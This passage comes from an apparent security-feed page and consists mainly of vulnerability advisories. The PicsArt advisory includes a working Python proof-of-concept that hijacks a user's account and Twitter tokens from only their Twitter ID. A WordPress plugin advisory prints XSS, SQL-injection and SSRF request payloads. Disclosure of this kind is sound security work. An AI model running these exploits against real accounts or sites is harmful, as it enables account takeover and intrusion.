
  The server API is still missing the validation of the login access
token.

  A workaround to prevent attackers from compromising a PicsArt user's
Facebook, Twitter or Google+ account is to disable the PicsArt
application access to their profile. From Facebook or Twitter go to
"Settings|App" and remove PicsArt application from the list of apps.
For Google+ go to "Account|Security|Apps and websites" and click on
revoke access on PicsArt application.

  PicsArt users concerned about their privacy or the security of their
account should stop using the Andorid application until patches with
proper SSL certificate validation are issued by the vendor nad the
Server APIs fixed.


6. *Credits*
  This vulnerability was discovered and researched by Joaquín Manuel
Rinaudo. The publication of this advisory was coordinated by Programa
de Seguridad en TIC.
  Will Dormann of CERT/CC independently discovered the SSL certificate
validation vulnerability using the CERT Tapioca tool.[5]

7. *Technical Description*

  A user can sign up to PicsArt using her Facebook[3], Twitter[4] or
Google+ account or using a standard email and password scheme.
  When a user signs using a social network, the PicsArt application
uses the OAuth protocol to communicate with that site.
  If the user authorizes it, the PicSart application is provided with
an access token from either Facebook, Twitter or Google+ that can be
used to retrieve personal information or perform actions on behalf of
that user.

  The application then uploads the access token to the PicsArt servers
along with the ID of that user so that the server can create a new
account associated to the user. Up to PicsArt version 4.2.2, this
communication was done entirely over HTTP. An attacker capturing the
request to 'http://api.picsart.com/users/signin.json' could retrieve
the access token of Facebook, Twittter and Google+ as well as hijack
the session token of PicsArt for that user. After our report to
PicsArt, use of HTTPS was introduced by the vendor in version 4.6.3 in
an attempt to prevent man-in-the-middle attacks as well as session
hijacking. Unfortunately, adoption of HTTPS did not fix the problems.

  In version of the PicsArt Photo Studio app that use HTTPS, the
socket object used to perform the secure connection uses a custom
X509TrustManager. The TrustManager's task is to check the certificate
presented by the server in order to prevent Man-in-the-Middle attacks.
The class 'com.socialin.android.util.w' sets the default
SSLsocketFactory used in the application to an empty TrustManager and
the default HostnameVerifier to a dummy one. Because of that, any
certificate presented by the server will be considered valid. This
allows an attacker to mount a MITM attack intercepting traffic,
creating fake X509 certificates on the fly and submitting them to
PicsArt's Android application.

  Moreover, up to version 4.6.3 some requests performed by the
application were still obtained using HTTP. For example, when a user
opens the application, a request over HTTP to
'https://api.picsart.com/users/show/me.json' to obtain user
information. Since requests that contains the user key as a parameter
like this are being sent to the server, session hijacking is possible
by simply capturing traffic. This was fixed in the version 4.6.3.

  Additional problems were found by inspecting how the PicsArt Photo
Studio app uses the server API. When a user logs in with a social
network account using the Android application, a HTTP POST request
containing the user's access token and other information such as his
name, user name, mail and a user identifier for the social network is
sent to the PicsArt servers. The server API doesn't verify whether the
access token provided is valid for an already created account and
responds with the user key associated to the provided social network
ID. This allows an attacker to obtain access to other user's PicsArt
account by just knowing their user name on third party social networks.

  An attacker can also obtain the user's access tokens to third party
social networks linked  to their profile by requesting the user's
profile information using the key provided in the previously described
step. For example, if a user's has her Twitter account linked to her
PicsArt account, the server's response to the profile information will
contain the user's OAUTH_TOKEN and OAUTH_TOKEN_SECRET for Twitter.
  Since the Android's PicsArt application contains the APP_KEY and
APP_SECRET embedded in the client code, an attacker has all the
information needed to impersonate the client app and obtain access to
a user's Twitter. Since the application has read and write permissions
in that social network, an attacker could perform status updates.
similar attacks are possible on other social networks such as Facebook
and Google+.


  A sample proof-of-concept Python script to demonstrate that, knowing
only a PicsArt user's Twitter ID, it is possible to retrieve the
user's key from the PicsArt server API, use it get the user's access
token for Twitter and then tweet with her/his account is shown below:


/-----
import sys
import urllib
import urllib2
from twython import Twython
import json
import traceback

APP_KEY='<PICSART APP APPKEY>'
APP_SECRET='<PICSART APP SECRET>'
OAUTH_TOKEN=''
OAUTH_TOKEN_SECRET=''

def obtain_key(twitter_id):
  url = 'https://api.picsart.com/users/signin.json'
  only_twitter_id =
'''{"id":"%s","token_secret":"","profile_url":"","screen_name":"","token":"","name":""}'''
%twitter_id
  data = 'token=&auth='+ urllib.quote(only_twitter_id)+'&provider=twitter'
  req = urllib2.Request(url, data)
  response = urllib2.urlopen(req)
  jsonobject = json.loads(response.read())
  return jsonobject['key']

def obtain_twitter_token(key):
  url = '''https://api.picsart.com/connections/show/me.json?key=%s''' %key
  response = urllib2.urlopen(url)
  data = json.loads(response.read())
  print data
  global OAUTH_TOKEN
  OAUTH_TOKEN = data['response'][0]['token']
  global OAUTH_TOKEN_SECRET
  OAUTH_TOKEN_SECRET = data['response'][0]['data']['token_secret']

def post_on_twitter():
  twitter = Twython(APP_KEY, APP_SECRET,OAUTH_TOKEN, OAUTH_TOKEN_SECRET)
  print twitter.verify_credentials()
  twitter.update_status(status='Using twitter!')

if __name__ == '__main__':
  if len(sys.argv) < 1:
    print "No Twitter ID specified"
    exit(0)
  userKey =obtain_key(sys.argv[1])
  print "User key for accessing user's Picsart account is %s" %userKey
  try:
    obtain_twitter_token(userKey)
    post_on_twitter()
  except:
    traceback.print_exc()
    print "Failed accessing user's Twitter account"
    pass


- -----/


8. *Report Timeline*

. 2014-05-05:
Programa de Seguridad en TIC sent the vendor a description of the
vulnerabilities found: the improper server validation of access tokens
and the use of unencrypted HTTP communication with the server.

. 2014-05-07:
  PicsArt indicated that the problems where already known and that due
to previous technical problems the application had switched temporary
to HTTP but that the new release, 4.2.2, HTTPS would be back.

. 2014-05-07:
  The researcher communicated to PicsArt about having inspected the
updated app and that although the communication was HTTPS, certificate
validation was missing. Furthermore, Programa de Seguridad en TIC
communicated the vendor that the improper validation of the login
process was still an issue. The vendor was informed about  a tentative
date for May 21st set for publishing the advisory.

. 2014-06-05:
  After receiving no response, Programa de Seguridad en TIC asked
PicsArt about plans to fix the issues discussed.

. 2014-06-05:
  PicsArt notified that they were releasing a version into beta with
fixed security and other features but with no explanation as to what
was being fixed.

. 2014-09-11:
  Programa de Seguridad en TIC added the Computer Emergency Response
Team to the conversation since they had also identified and notified
PicsArt of the SSL certificate validation bug as part of their CERT
TAPIOCA project [5].

. 2014-09-11:
  Vendor assured that a new release (4.6.3) was being deployed where
the user key was not being transmitted over HTTP in version and that
they were testing new bug fixes.

. 2014-09-16:
  Programa de Seguridad en TIC asked for an estimated release of the
application and informed to the vendor that the application was using
an external library to implement their client side API transport ([6])
and this was one of the sources for the problem of not validating the
certificates properly since they were explicitly calling library
methods for skipping the validation process.

. 2014-09-17:
  Vendor sent the researcher a new beta version where the external
library wasn't instructed to avoid validating certificates.

. 2014-09-18:
  Programa de Seguridad en TIC notified that the server validation and
the HTTPS vulnerabilities were still unfixed. The latter was because
the application was still defining the default SSLSocketFactory and
HostnameVerifier in an insecure way. Researcher pointed the vendor to
the class originating this definitions.


2014-11-06:
  Advisory was released.

9. *References*

[1] About PicsArt.
  http://picsart.com/about
[2] PicsArt Photo Studio.
  https://play.google.com/store/apps/details?id=com.picsart.studio
[3] Facebook Login for Android.
  https://developers.facebook.com/docs/android/login-with-facebook/v2.2
[4] Sign in with Twitter.
  https://dev.twitter.com/web/sign-in
[5] Vulnerability Note VU#582497. Multiple Android applications fail
to properly validate SSL certificates.
  http://www.kb.cert.org/vuls/id/582497
[6] Java HTTP Request Library.
  https://github.com/kevinsawicki/http-request

10. *About Fundación Dr. Manuel Sadosky*

The Dr. Manuel Sadosky Foundation is a mixed (public / private)
institution whose goal is to promote stronger and closer interaction
between industry and the scientific-technological system in all
aspects related to Information and Communications Technology (ICT) in
Argentina.
The Foundation was formally created by a Presidential Decree in 2009.
Its Chairman is the Minister of Science, Technology, and Productive
Innovation of Argentina; and the Vice-chairmen are the chairmen of the
country’s most important ICT chambers: The Software and Computer
Services Chamber (CESSI) and the Argentine Computing and
Telecommunications Chamber (CICOMRA).

For more information visit: http://www.fundacionsadosky.org.ar

11. *Copyright Notice*

The contents of this advisory are copyright (c) 2014 Fundación Sadosky
and are licensed under a Creative Commons Attribution Non-Commercial
Share-Alike 4.0 License:
http://creativecommons.org/licenses/by-nc-sa/4.0/

“Rootpipe” Vulnerability

$
0
0
A new critical vulnerability titled “Rootpipe” affecting the Mac OS X operating system has been discovered courtesy of Swedish security researcher and consultant Emil Kvarnhammar (@emilkvarnhammar).

The vulnerability allows the malicious user the ability to escalate administrative privileges on a compromised system as well as allows them to obtain the highest level of access known as “root’ access. In doing so, the malicious user could bypass the built-in safeguards that are supposed to stop individuals who try to root the operating system through a temporary backdoor.

more here..........http://www.securityorb.com/2014/11/rootpipe-vulnerability/

Wordpress bulletproof-security

$
0
0
Vulnerability title: Wordpress bulletproof-security <=.51 multiple
vulnerabilities
Author: Pietro Oliva
CVE: CVE-2014-7958, CVE-2014-7959, CVE-2014-8749
Vendor: AITpro
Product: bulletproof-security
Affected version: bulletproof-security <= .51
Vulnerabilities fixed in version: .51.1

Details:


xss vulnerability (CVE-2014-7958):

POST /wp-content/plugins/bulletproof-security/admin/htaccess/bpsunlock.php
HTTP/1.1

dbname=&dbuser=&dbpassword=&dbhost=%3Cscript%3Ealert%28%27xss%27%29%3C%2Fscript%3E&tableprefix=&username=&Login-Security-Unlock=Unlock+User+Account


SQL injection vulnerability (CVE-2014-7959, correct db username and
password is required in order to exploit this):

POST /wordpress/wp-content/plugins/bulletproof-security/admin/htaccess/bpsunlock.php
HTTP/1.1

dbname=information_schema&dbuser=root&dbpassword=password&dbhost=&tableprefix=tables+into+outfile+'/tmp/tables'%3b+--+&username=&Login-Security-Unlock=Unlock+User+Account



SSRF vulnerability (CVE-2014-8749)


POST /wp-content/plugins/bulletproof-security/admin/htaccess/bpsunlock.php
HTTP/1.1
dbname=&dbuser=root&dbpassword&dbhost=remotedatabase.com&tableprefix=&username=&Login-Security-Unlock=Unlock+User+Account

Possible scenario:

- the user sends a request with username, password, host and other
parameters to the vulnerable page
- the server doesn't check the host parameter to be in a whitelist of
permitted databases
- the server performs an authentication request to a remote or
internal network database and gives back to the attacker the
authentication result
-After n attemps the attacker has bypassed access restrictions (if
any) to the remote database, discovered the remote database password,
and made it appear bulletproof-security as the source of the attack.

Extra step:
-If the sql injection flaw (CVE-2014-7959) is not fixed, an attacker
could also execute arbitrary sql statement on the remote server, as
the vulnerable page executes a query if the authentication is
successful (without filtering or use prepared statements). The source
of the attack would appear to be the bulletproof-security vulnerable
site.

The proof is in the cookie

$
0
0
During the past few weeks, we have a heard a lot about malvertising, this technique of delivering malware through booby-trapped adverts.

more here........https://blog.malwarebytes.org/malvertising-2/2014/11/the-proof-is-in-the-cookie/
Viewing all 8064 articles
Browse latest View live